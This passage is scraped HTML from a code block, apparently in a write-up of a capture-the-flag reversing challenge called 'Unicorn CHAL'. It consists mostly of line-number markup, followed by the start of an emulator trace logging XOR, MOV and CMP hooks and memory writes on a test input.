class="line">4591</span><br><span class="line">4592</span><br><span class="line">4593</span><br><span class="line">4594</span><br><span class="line">4595</span><br><span class="line">4596</span><br><span class="line">4597</span><br><span class="line">4598</span><br><span class="line">4599</span><br><span class="line">4600</span><br><span class="line">4601</span><br><span class="line">4602</span><br><span class="line">4603</span><br><span class="line">4604</span><br><span class="line">4605</span><br><span class="line">4606</span><br><span class="line">4607</span><br><span class="line">4608</span><br><span class="line">4609</span><br><span class="line">4610</span><br><span class="line">4611</span><br><span class="line">4612</span><br><span class="line">4613</span><br><span class="line">4614</span><br><span class="line">4615</span><br><span class="line">4616</span><br><span class="line">4617</span><br><span class="line">4618</span><br><span class="line">4619</span><br><span class="line">4620</span><br><span class="line">4621</span><br><span class="line">4622</span><br><span class="line">4623</span><br><span class="line">4624</span><br><span class="line">4625</span><br><span class="line">4626</span><br><span class="line">4627</span><br><span class="line">4628</span><br><span class="line">4629</span><br><span class="line">4630</span><br><span class="line">4631</span><br><span class="line">4632</span><br><span class="line">4633</span><br><span class="line">4634</span><br><span class="line">4635</span><br><span class="line">4636</span><br><span class="line">4637</span><br><span class="line">4638</span><br><span class="line">4639</span><br><span class="line">4640</span><br><span class="line">4641</span><br><span class="line">4642</span><br><span class="line">4643</span><br><span class="line">4644</span><br><span class="line">4645</span><br><span class="line">4646</span><br><span class="line">4647</span><br><span class="line">4648</span><br><span class="line">4649</span><br><span class="line">4650</span><br><span class="line">4651</span><br><span class="line">4652</span><br><span class="line">4653</span><br><span class="line">4654</span><br><span class="line">4655</span><br><span class="line">4656</span><br><span class="line">4657</span><br><span class="line">4658</span><br><span class="line">4659</span><br><span class="line">4660</span><br><span class="line">4661</span><br><span class="line">4662</span><br><span class="line">4663</span><br><span class="line">4664</span><br><span class="line">4665</span><br><span class="line">4666</span><br><span class="line">4667</span><br><span class="line">4668</span><br><span class="line">4669</span><br><span class="line">4670</span><br><span class="line">4671</span><br><span class="line">4672</span><br><span class="line">4673</span><br><span class="line">4674</span><br><span class="line">4675</span><br><span class="line">4676</span><br><span class="line">4677</span><br><span class="line">4678</span><br><span class="line">4679</span><br><span class="line">4680</span><br><span class="line">4681</span><br><span class="line">4682</span><br><span class="line">4683</span><br><span class="line">4684</span><br><span class="line">4685</span><br><span class="line">4686</span><br><span class="line">4687</span><br><span class="line">4688</span><br><span class="line">4689</span><br><span class="line">4690</span><br><span class="line">4691</span><br><span class="line">4692</span><br><span class="line">4693</span><br><span class="line">4694</span><br><span class="line">4695</span><br><span class="line">4696</span><br><span class="line">4697</span><br><span class="line">4698</span><br><span class="line">4699</span><br><span class="line">4700</span><br><span class="line">4701</span><br><span class="line">4702</span><br><span class="line">4703</span><br><span class="line">4704</span><br><span class="line">4705</span><br><span class="line">4706</span><br><span class="line">4707</span><br><span class="line">4708</span><br><span class="line">4709</span><br><span class="line">4710</span><br><span class="line">4711</span><br><span class="line">4712</span><br><span class="line">4713</span><br><span class="line">4714</span><br><span class="line">4715</span><br><span class="line">4716</span><br><span class="line">4717</span><br><span class="line">4718</span><br><span class="line">4719</span><br><span class="line">4720</span><br><span class="line">4721</span><br><span class="line">4722</span><br><span class="line">4723</span><br><span class="line">4724</span><br><span class="line">4725</span><br><span class="line">4726</span><br><span class="line">4727</span><br><span class="line">4728</span><br><span class="line">4729</span><br><span class="line">4730</span><br><span class="line">4731</span><br><span class="line">4732</span><br><span class="line">4733</span><br><span class="line">4734</span><br><span class="line">4735</span><br><span class="line">4736</span><br><span class="line">4737</span><br><span class="line">4738</span><br><span class="line">4739</span><br><span class="line">4740</span><br><span class="line">4741</span><br><span class="line">4742</span><br><span class="line">4743</span><br><span class="line">4744</span><br><span class="line">4745</span><br><span class="line">4746</span><br><span class="line">4747</span><br><span class="line">4748</span><br><span class="line">4749</span><br><span class="line">4750</span><br><span class="line">4751</span><br><span class="line">4752</span><br><span class="line">4753</span><br><span class="line">4754</span><br><span class="line">4755</span><br><span class="line">4756</span><br><span class="line">4757</span><br><span class="line">4758</span><br><span class="line">4759</span><br><span class="line">4760</span><br><span class="line">4761</span><br><span class="line">4762</span><br><span class="line">4763</span><br><span class="line">4764</span><br><span class="line">4765</span><br><span class="line">4766</span><br><span class="line">4767</span><br><span class="line">4768</span><br><span class="line">4769</span><br><span class="line">4770</span><br><span class="line">4771</span><br><span class="line">4772</span><br><span class="line">4773</span><br><span class="line">4774</span><br><span class="line">4775</span><br><span class="line">4776</span><br><span class="line">4777</span><br><span class="line">4778</span><br><span class="line">4779</span><br><span class="line">4780</span><br><span class="line">4781</span><br><span class="line">4782</span><br><span class="line">4783</span><br><span class="line">4784</span><br><span class="line">4785</span><br><span class="line">4786</span><br><span class="line">4787</span><br><span class="line">4788</span><br><span class="line">4789</span><br><span class="line">4790</span><br><span class="line">4791</span><br><span class="line">4792</span><br><span class="line">4793</span><br><span class="line">4794</span><br><span class="line">4795</span><br><span class="line">4796</span><br><span class="line">4797</span><br><span class="line">4798</span><br><span class="line">4799</span><br><span class="line">4800</span><br><span class="line">4801</span><br><span class="line">4802</span><br><span class="line">4803</span><br><span class="line">4804</span><br><span class="line">4805</span><br><span class="line">4806</span><br><span class="line">4807</span><br><span class="line">4808</span><br><span class="line">4809</span><br><span class="line">4810</span><br><span class="line">4811</span><br><span class="line">4812</span><br><span class="line">4813</span><br><span class="line">4814</span><br><span class="line">4815</span><br><span class="line">4816</span><br><span class="line">4817</span><br><span class="line">4818</span><br><span class="line">4819</span><br><span class="line">4820</span><br><span class="line">4821</span><br><span class="line">4822</span><br><span class="line">4823</span><br><span class="line">4824</span><br><span class="line">4825</span><br><span class="line">4826</span><br><span class="line">4827</span><br><span class="line">4828</span><br><span class="line">4829</span><br><span class="line">4830</span><br><span class="line">4831</span><br><span class="line">4832</span><br><span class="line">4833</span><br><span class="line">4834</span><br><span class="line">4835</span><br><span class="line">4836</span><br><span class="line">4837</span><br><span class="line">4838</span><br><span class="line">4839</span><br><span class="line">4840</span><br><span class="line">4841</span><br><span class="line">4842</span><br><span class="line">4843</span><br><span class="line">4844</span><br><span class="line">4845</span><br><span class="line">4846</span><br><span class="line">4847</span><br><span class="line">4848</span><br><span class="line">4849</span><br><span class="line">4850</span><br><span class="line">4851</span><br><span class="line">4852</span><br><span class="line">4853</span><br><span class="line">4854</span><br><span class="line">4855</span><br><span class="line">4856</span><br><span class="line">4857</span><br><span class="line">4858</span><br><span class="line">4859</span><br><span class="line">4860</span><br><span class="line">4861</span><br><span class="line">4862</span><br><span class="line">4863</span><br><span class="line">4864</span><br><span class="line">4865</span><br><span class="line">4866</span><br><span class="line">4867</span><br><span class="line">4868</span><br><span class="line">4869</span><br><span class="line">4870</span><br><span class="line">4871</span><br><span class="line">4872</span><br><span class="line">4873</span><br><span class="line">4874</span><br><span class="line">4875</span><br><span class="line">4876</span><br><span class="line">4877</span><br><span class="line">4878</span><br><span class="line">4879</span><br><span class="line">4880</span><br><span class="line">4881</span><br><span class="line">4882</span><br><span class="line">4883</span><br><span class="line">4884</span><br><span class="line">4885</span><br><span class="line">4886</span><br><span class="line">4887</span><br><span class="line">4888</span><br><span class="line">4889</span><br><span class="line">4890</span><br><span class="line">4891</span><br><span class="line">4892</span><br><span class="line">4893</span><br><span class="line">4894</span><br><span class="line">4895</span><br><span class="line">4896</span><br><span class="line">4897</span><br><span class="line">4898</span><br><span class="line">4899</span><br><span class="line">4900</span><br><span class="line">4901</span><br><span class="line">4902</span><br><span class="line">4903</span><br><span class="line">4904</span><br><span class="line">4905</span><br><span class="line">4906</span><br><span class="line">4907</span><br><span class="line">4908</span><br><span class="line">4909</span><br><span class="line">4910</span><br><span class="line">4911</span><br><span class="line">4912</span><br><span class="line">4913</span><br><span class="line">4914</span><br><span class="line">4915</span><br><span class="line">4916</span><br><span class="line">4917</span><br><span class="line">4918</span><br><span class="line">4919</span><br><span class="line">4920</span><br><span class="line">4921</span><br><span class="line">4922</span><br><span class="line">4923</span><br><span class="line">4924</span><br><span class="line">4925</span><br><span class="line">4926</span><br><span class="line">4927</span><br><span class="line">4928</span><br><span class="line">4929</span><br><span class="line">4930</span><br><span class="line">4931</span><br><span class="line">4932</span><br><span class="line">4933</span><br><span class="line">4934</span><br><span class="line">4935</span><br><span class="line">4936</span><br><span class="line">4937</span><br><span class="line">4938</span><br><span class="line">4939</span><br><span class="line">4940</span><br><span class="line">4941</span><br><span class="line">4942</span><br><span class="line">4943</span><br><span class="line">4944</span><br><span class="line">4945</span><br><span class="line">4946</span><br><span class="line">4947</span><br><span class="line">4948</span><br><span class="line">4949</span><br><span class="line">4950</span><br><span class="line">4951</span><br><span class="line">4952</span><br><span class="line">4953</span><br><span class="line">4954</span><br><span class="line">4955</span><br><span class="line">4956</span><br><span class="line">4957</span><br><span class="line">4958</span><br><span class="line">4959</span><br><span class="line">4960</span><br><span class="line">4961</span><br><span class="line">4962</span><br><span class="line">4963</span><br><span class="line">4964</span><br><span class="line">4965</span><br><span class="line">4966</span><br><span class="line">4967</span><br><span class="line">4968</span><br><span class="line">4969</span><br><span class="line">4970</span><br><span class="line">4971</span><br><span class="line">4972</span><br><span class="line">4973</span><br><span class="line">4974</span><br><span class="line">4975</span><br><span class="line">4976</span><br><span class="line">4977</span><br><span class="line">4978</span><br><span class="line">4979</span><br><span class="line">4980</span><br><span class="line">4981</span><br><span class="line">4982</span><br><span class="line">4983</span><br><span class="line">4984</span><br><span class="line">4985</span><br><span class="line">4986</span><br><span class="line">4987</span><br><span class="line">4988</span><br><span class="line">4989</span><br><span class="line">4990</span><br><span class="line">4991</span><br><span class="line">4992</span><br><span class="line">4993</span><br><span class="line">4994</span><br><span class="line">4995</span><br><span class="line">4996</span><br><span class="line">4997</span><br><span class="line">4998</span><br><span class="line">4999</span><br><span class="line">5000</span><br><span class="line">5001</span><br><span class="line">5002</span><br><span class="line">5003</span><br><span class="line">5004</span><br><span class="line">5005</span><br><span class="line">5006</span><br><span class="line">5007</span><br><span class="line">5008</span><br><span class="line">5009</span><br><span class="line">5010</span><br><span class="line">5011</span><br><span class="line">5012</span><br><span class="line">5013</span><br><span class="line">5014</span><br><span class="line">5015</span><br><span class="line">5016</span><br><span class="line">5017</span><br><span class="line">5018</span><br><span class="line">5019</span><br><span class="line">5020</span><br><span class="line">5021</span><br><span class="line">5022</span><br><span class="line">5023</span><br><span class="line">5024</span><br><span class="line">5025</span><br><span class="line">5026</span><br><span class="line">5027</span><br><span class="line">5028</span><br><span class="line">5029</span><br><span class="line">5030</span><br><span class="line">5031</span><br><span class="line">5032</span><br><span class="line">5033</span><br><span class="line">5034</span><br><span class="line">5035</span><br><span class="line">5036</span><br><span class="line">5037</span><br><span class="line">5038</span><br><span class="line">5039</span><br><span class="line">5040</span><br><span class="line">5041</span><br><span class="line">5042</span><br><span class="line">5043</span><br><span class="line">5044</span><br><span class="line">5045</span><br><span class="line">5046</span><br><span class="line">5047</span><br><span class="line">5048</span><br><span class="line">5049</span><br><span class="line">5050</span><br><span class="line">5051</span><br><span class="line">5052</span><br><span class="line">5053</span><br><span class="line">5054</span><br><span class="line">5055</span><br><span class="line">5056</span><br><span class="line">5057</span><br><span class="line">5058</span><br><span class="line">5059</span><br><span class="line">5060</span><br><span class="line">5061</span><br><span class="line">5062</span><br><span class="line">5063</span><br><span class="line">5064</span><br><span class="line">5065</span><br><span class="line">5066</span><br><span class="line">5067</span><br><span class="line">5068</span><br><span class="line">5069</span><br><span class="line">5070</span><br><span class="line">5071</span><br><span class="line">5072</span><br><span class="line">5073</span><br><span class="line">5074</span><br><span class="line">5075</span><br><span class="line">5076</span><br><span class="line">5077</span><br><span class="line">5078</span><br><span class="line">5079</span><br><span class="line">5080</span><br><span class="line">5081</span><br><span class="line">5082</span><br><span class="line">5083</span><br><span class="line">5084</span><br><span class="line">5085</span><br><span class="line">5086</span><br><span class="line">5087</span><br><span class="line">5088</span><br><span class="line">5089</span><br><span class="line">5090</span><br><span class="line">5091</span><br><span class="line">5092</span><br><span class="line">5093</span><br><span class="line">5094</span><br><span class="line">5095</span><br><span class="line">5096</span><br><span class="line">5097</span><br><span class="line">5098</span><br><span class="line">5099</span><br><span class="line">5100</span><br><span class="line">5101</span><br><span class="line">5102</span><br><span class="line">5103</span><br><span class="line">5104</span><br><span class="line">5105</span><br><span class="line">5106</span><br><span class="line">5107</span><br><span class="line">5108</span><br><span class="line">5109</span><br><span class="line">5110</span><br><span class="line">5111</span><br><span class="line">5112</span><br><span class="line">5113</span><br><span class="line">5114</span><br><span class="line">5115</span><br><span class="line">5116</span><br><span class="line">5117</span><br><span class="line">5118</span><br><span class="line">5119</span><br><span class="line">5120</span><br><span class="line">5121</span><br><span class="line">5122</span><br><span class="line">5123</span><br><span class="line">5124</span><br><span class="line">5125</span><br><span class="line">5126</span><br><span class="line">5127</span><br><span class="line">5128</span><br><span class="line">5129</span><br><span class="line">5130</span><br><span class="line">5131</span><br><span class="line">5132</span><br><span class="line">5133</span><br><span class="line">5134</span><br><span class="line">5135</span><br><span class="line">5136</span><br><span class="line">5137</span><br><span class="line">5138</span><br><span class="line">5139</span><br><span class="line">5140</span><br><span class="line">5141</span><br><span class="line">5142</span><br><span class="line">5143</span><br><span class="line">5144</span><br><span class="line">5145</span><br><span class="line">5146</span><br><span class="line">5147</span><br><span class="line">5148</span><br><span class="line">5149</span><br><span class="line">5150</span><br><span class="line">5151</span><br><span class="line">5152</span><br><span class="line">5153</span><br><span class="line">5154</span><br><span class="line">5155</span><br><span class="line">5156</span><br><span class="line">5157</span><br><span class="line">5158</span><br><span class="line">5159</span><br><span class="line">5160</span><br><span class="line">5161</span><br><span class="line">5162</span><br><span class="line">5163</span><br><span class="line">5164</span><br><span class="line">5165</span><br><span class="line">5166</span><br><span class="line">5167</span><br><span class="line">5168</span><br><span class="line">5169</span><br><span class="line">5170</span><br><span class="line">5171</span><br><span class="line">5172</span><br><span class="line">5173</span><br><span class="line">5174</span><br><span class="line">5175</span><br><span class="line">5176</span><br><span class="line">5177</span><br><span class="line">5178</span><br><span class="line">5179</span><br><span class="line">5180</span><br><span class="line">5181</span><br><span class="line">5182</span><br><span class="line">5183</span><br><span class="line">5184</span><br><span class="line">5185</span><br><span class="line">5186</span><br><span class="line">5187</span><br><span class="line">5188</span><br><span class="line">5189</span><br><span class="line">5190</span><br><span class="line">5191</span><br><span class="line">5192</span><br><span class="line">5193</span><br><span class="line">5194</span><br><span class="line">5195</span><br><span class="line">5196</span><br><span class="line">5197</span><br><span class="line">5198</span><br><span class="line">5199</span><br><span class="line">5200</span><br><span class="line">5201</span><br><span class="line">5202</span><br><span class="line">5203</span><br><span class="line">5204</span><br><span class="line">5205</span><br><span class="line">5206</span><br><span class="line">5207</span><br><span class="line">5208</span><br><span class="line">5209</span><br><span class="line">5210</span><br><span class="line">5211</span><br><span class="line">5212</span><br><span class="line">5213</span><br><span class="line">5214</span><br><span class="line">5215</span><br><span class="line">5216</span><br><span class="line">5217</span><br><span class="line">5218</span><br><span class="line">5219</span><br><span class="line">5220</span><br><span class="line">5221</span><br><span class="line">5222</span><br><span class="line">5223</span><br><span class="line">5224</span><br><span class="line">5225</span><br><span class="line">5226</span><br><span class="line">5227</span><br><span class="line">5228</span><br><span class="line">5229</span><br><span class="line">5230</span><br><span class="line">5231</span><br><span class="line">5232</span><br><span class="line">5233</span><br><span class="line">5234</span><br><span class="line">5235</span><br><span class="line">5236</span><br><span class="line">5237</span><br><span class="line">5238</span><br><span class="line">5239</span><br><span class="line">5240</span><br><span class="line">5241</span><br><span class="line">5242</span><br><span class="line">5243</span><br><span class="line">5244</span><br><span class="line">5245</span><br><span class="line">5246</span><br><span class="line">5247</span><br><span class="line">5248</span><br><span class="line">5249</span><br><span class="line">5250</span><br><span class="line">5251</span><br><span class="line">5252</span><br><span class="line">5253</span><br><span class="line">5254</span><br><span class="line">5255</span><br><span class="line">5256</span><br><span class="line">5257</span><br><span class="line">5258</span><br><span class="line">5259</span><br><span class="line">5260</span><br><span class="line">5261</span><br><span class="line">5262</span><br><span class="line">5263</span><br><span class="line">5264</span><br><span class="line">5265</span><br><span class="line">5266</span><br><span class="line">5267</span><br><span class="line">5268</span><br><span class="line">5269</span><br><span class="line">5270</span><br><span class="line">5271</span><br><span class="line">5272</span><br><span class="line">5273</span><br><span class="line">5274</span><br><span class="line">5275</span><br><span class="line">5276</span><br><span class="line">5277</span><br><span class="line">5278</span><br><span class="line">5279</span><br><span class="line">5280</span><br><span class="line">5281</span><br><span class="line">5282</span><br><span class="line">5283</span><br><span class="line">5284</span><br><span class="line">5285</span><br><span class="line">5286</span><br><span class="line">5287</span><br><span class="line">5288</span><br><span class="line">5289</span><br><span class="line">5290</span><br><span class="line">5291</span><br><span class="line">5292</span><br><span class="line">5293</span><br><span class="line">5294</span><br><span class="line">5295</span><br><span class="line">5296</span><br><span class="line">5297</span><br><span class="line">5298</span><br><span class="line">5299</span><br><span class="line">5300</span><br><span class="line">5301</span><br><span class="line">5302</span><br><span class="line">5303</span><br><span class="line">5304</span><br><span class="line">5305</span><br><span class="line">5306</span><br><span class="line">5307</span><br><span class="line">5308</span><br><span class="line">5309</span><br><span class="line">5310</span><br><span class="line">5311</span><br><span class="line">5312</span><br><span class="line">5313</span><br><span class="line">5314</span><br><span class="line">5315</span><br><span class="line">5316</span><br><span class="line">5317</span><br><span class="line">5318</span><br><span class="line">5319</span><br><span class="line">5320</span><br><span class="line">5321</span><br><span class="line">5322</span><br><span class="line">5323</span><br><span class="line">5324</span><br><span class="line">5325</span><br><span class="line">5326</span><br><span class="line">5327</span><br><span class="line">5328</span><br><span class="line">5329</span><br><span class="line">5330</span><br><span class="line">5331</span><br><span class="line">5332</span><br><span class="line">5333</span><br><span class="line">5334</span><br><span class="line">5335</span><br><span class="line">5336</span><br><span class="line">5337</span><br><span class="line">5338</span><br><span class="line">5339</span><br><span class="line">5340</span><br><span class="line">5341</span><br><span class="line">5342</span><br><span class="line">5343</span><br><span class="line">5344</span><br><span class="line">5345</span><br><span class="line">5346</span><br><span class="line">5347</span><br><span class="line">5348</span><br><span class="line">5349</span><br><span class="line">5350</span><br><span class="line">5351</span><br><span class="line">5352</span><br><span class="line">5353</span><br><span class="line">5354</span><br><span class="line">5355</span><br><span class="line">5356</span><br><span class="line">5357</span><br><span class="line">5358</span><br><span class="line">5359</span><br><span class="line">5360</span><br><span class="line">5361</span><br><span class="line">5362</span><br><span class="line">5363</span><br><span class="line">5364</span><br><span class="line">5365</span><br><span class="line">5366</span><br><span class="line">5367</span><br><span class="line">5368</span><br><span class="line">5369</span><br><span class="line">5370</span><br><span class="line">5371</span><br><span class="line">5372</span><br><span class="line">5373</span><br><span class="line">5374</span><br><span class="line">5375</span><br><span class="line">5376</span><br><span class="line">5377</span><br><span class="line">5378</span><br><span class="line">5379</span><br><span class="line">5380</span><br><span class="line">5381</span><br><span class="line">5382</span><br><span class="line">5383</span><br><span class="line">5384</span><br><span class="line">5385</span><br><span class="line">5386</span><br><span class="line">5387</span><br><span class="line">5388</span><br><span class="line">5389</span><br><span class="line">5390</span><br><span class="line">5391</span><br><span class="line">5392</span><br><span class="line">5393</span><br><span class="line">5394</span><br><span class="line">5395</span><br><span class="line">5396</span><br><span class="line">5397</span><br><span class="line">5398</span><br><span class="line">5399</span><br><span class="line">5400</span><br><span class="line">5401</span><br><span class="line">5402</span><br><span class="line">5403</span><br><span class="line">5404</span><br><span class="line">5405</span><br><span class="line">5406</span><br><span class="line">5407</span><br><span class="line">5408</span><br><span class="line">5409</span><br><span class="line">5410</span><br><span class="line">5411</span><br><span class="line">5412</span><br><span class="line">5413</span><br><span class="line">5414</span><br><span class="line">5415</span><br><span class="line">5416</span><br><span class="line">5417</span><br><span class="line">5418</span><br><span class="line">5419</span><br><span class="line">5420</span><br><span class="line">5421</span><br><span class="line">5422</span><br><span class="line">5423</span><br><span class="line">5424</span><br><span class="line">5425</span><br><span class="line">5426</span><br><span class="line">5427</span><br><span class="line">5428</span><br><span class="line">5429</span><br><span class="line">5430</span><br><span class="line">5431</span><br><span class="line">5432</span><br><span class="line">5433</span><br><span class="line">5434</span><br><span class="line">5435</span><br><span class="line">5436</span><br><span class="line">5437</span><br><span class="line">5438</span><br><span class="line">5439</span><br><span class="line">5440</span><br><span class="line">5441</span><br><span class="line">5442</span><br><span class="line">5443</span><br><span class="line">5444</span><br><span class="line">5445</span><br><span class="line">5446</span><br><span class="line">5447</span><br><span class="line">5448</span><br><span class="line">5449</span><br><span class="line">5450</span><br><span class="line">5451</span><br><span class="line">5452</span><br><span class="line">5453</span><br><span class="line">5454</span><br><span class="line">5455</span><br><span class="line">5456</span><br><span class="line">5457</span><br><span class="line">5458</span><br><span class="line">5459</span><br><span class="line">5460</span><br><span class="line">5461</span><br><span class="line">5462</span><br><span class="line">5463</span><br><span class="line">5464</span><br><span class="line">5465</span><br><span class="line">5466</span><br><span class="line">5467</span><br><span class="line">5468</span><br><span class="line">5469</span><br><span class="line">5470</span><br><span class="line">5471</span><br><span class="line">5472</span><br><span class="line">5473</span><br><span class="line">5474</span><br><span class="line">5475</span><br><span class="line">5476</span><br><span class="line">5477</span><br><span class="line">5478</span><br><span class="line">5479</span><br><span class="line">5480</span><br><span class="line">5481</span><br><span class="line">5482</span><br><span class="line">5483</span><br><span class="line">5484</span><br><span class="line">5485</span><br><span class="line">5486</span><br><span class="line">5487</span><br><span class="line">5488</span><br><span class="line">5489</span><br><span class="line">5490</span><br><span class="line">5491</span><br><span class="line">5492</span><br><span class="line">5493</span><br><span class="line">5494</span><br><span class="line">5495</span><br><span class="line">5496</span><br><span class="line">5497</span><br><span class="line">5498</span><br><span class="line">5499</span><br><span class="line">5500</span><br><span class="line">5501</span><br><span class="line">5502</span><br><span class="line">5503</span><br><span class="line">5504</span><br><span class="line">5505</span><br><span class="line">5506</span><br><span class="line">5507</span><br><span class="line">5508</span><br><span class="line">5509</span><br><span class="line">5510</span><br><span class="line">5511</span><br><span class="line">5512</span><br><span class="line">5513</span><br><span class="line">5514</span><br><span class="line">5515</span><br><span class="line">5516</span><br><span class="line">5517</span><br><span class="line">5518</span><br><span class="line">5519</span><br><span class="line">5520</span><br><span class="line">5521</span><br><span class="line">5522</span><br><span class="line">5523</span><br><span class="line">5524</span><br><span class="line">5525</span><br><span class="line">5526</span><br><span class="line">5527</span><br><span class="line">5528</span><br><span class="line">5529</span><br><span class="line">5530</span><br><span class="line">5531</span><br><span class="line">5532</span><br><span class="line">5533</span><br><span class="line">5534</span><br><span class="line">5535</span><br><span class="line">5536</span><br><span class="line">5537</span><br><span class="line">5538</span><br><span class="line">5539</span><br><span class="line">5540</span><br><span class="line">5541</span><br><span class="line">5542</span><br><span class="line">5543</span><br><span class="line">5544</span><br><span class="line">5545</span><br><span class="line">5546</span><br><span class="line">5547</span><br><span class="line">5548</span><br><span class="line">5549</span><br><span class="line">5550</span><br><span class="line">5551</span><br><span class="line">5552</span><br><span class="line">5553</span><br><span class="line">5554</span><br><span class="line">5555</span><br><span class="line">5556</span><br><span class="line">5557</span><br><span class="line">5558</span><br><span class="line">5559</span><br><span class="line">5560</span><br><span class="line">5561</span><br><span class="line">5562</span><br><span class="line">5563</span><br><span class="line">5564</span><br><span class="line">5565</span><br><span class="line">5566</span><br><span class="line">5567</span><br><span class="line">5568</span><br><span class="line">5569</span><br><span class="line">5570</span><br><span class="line">5571</span><br><span class="line">5572</span><br><span class="line">5573</span><br><span class="line">5574</span><br><span class="line">5575</span><br><span class="line">5576</span><br><span class="line">5577</span><br><span class="line">5578</span><br><span class="line">5579</span><br><span class="line">5580</span><br><span class="line">5581</span><br><span class="line">5582</span><br><span class="line">5583</span><br><span class="line">5584</span><br><span class="line">5585</span><br><span class="line">5586</span><br><span class="line">5587</span><br><span class="line">5588</span><br><span class="line">5589</span><br><span class="line">5590</span><br><span class="line">5591</span><br><span class="line">5592</span><br><span class="line">5593</span><br><span class="line">5594</span><br><span class="line">5595</span><br><span class="line">5596</span><br><span class="line">5597</span><br><span class="line">5598</span><br><span class="line">5599</span><br><span class="line">5600</span><br><span class="line">5601</span><br><span class="line">5602</span><br><span class="line">5603</span><br><span class="line">5604</span><br><span class="line">5605</span><br><span class="line">5606</span><br><span class="line">5607</span><br><span class="line">5608</span><br></pre></td><td class="code"><pre><span class="line">Unicorn CHAL By:ShallowFeather</span><br><span class="line">Enter the flag: --- Starting emulation ---</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010013fc: mov esi, <span class="number">0</span>x28</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001416: cmp esi, <span class="number">0</span>x51</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001410]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span 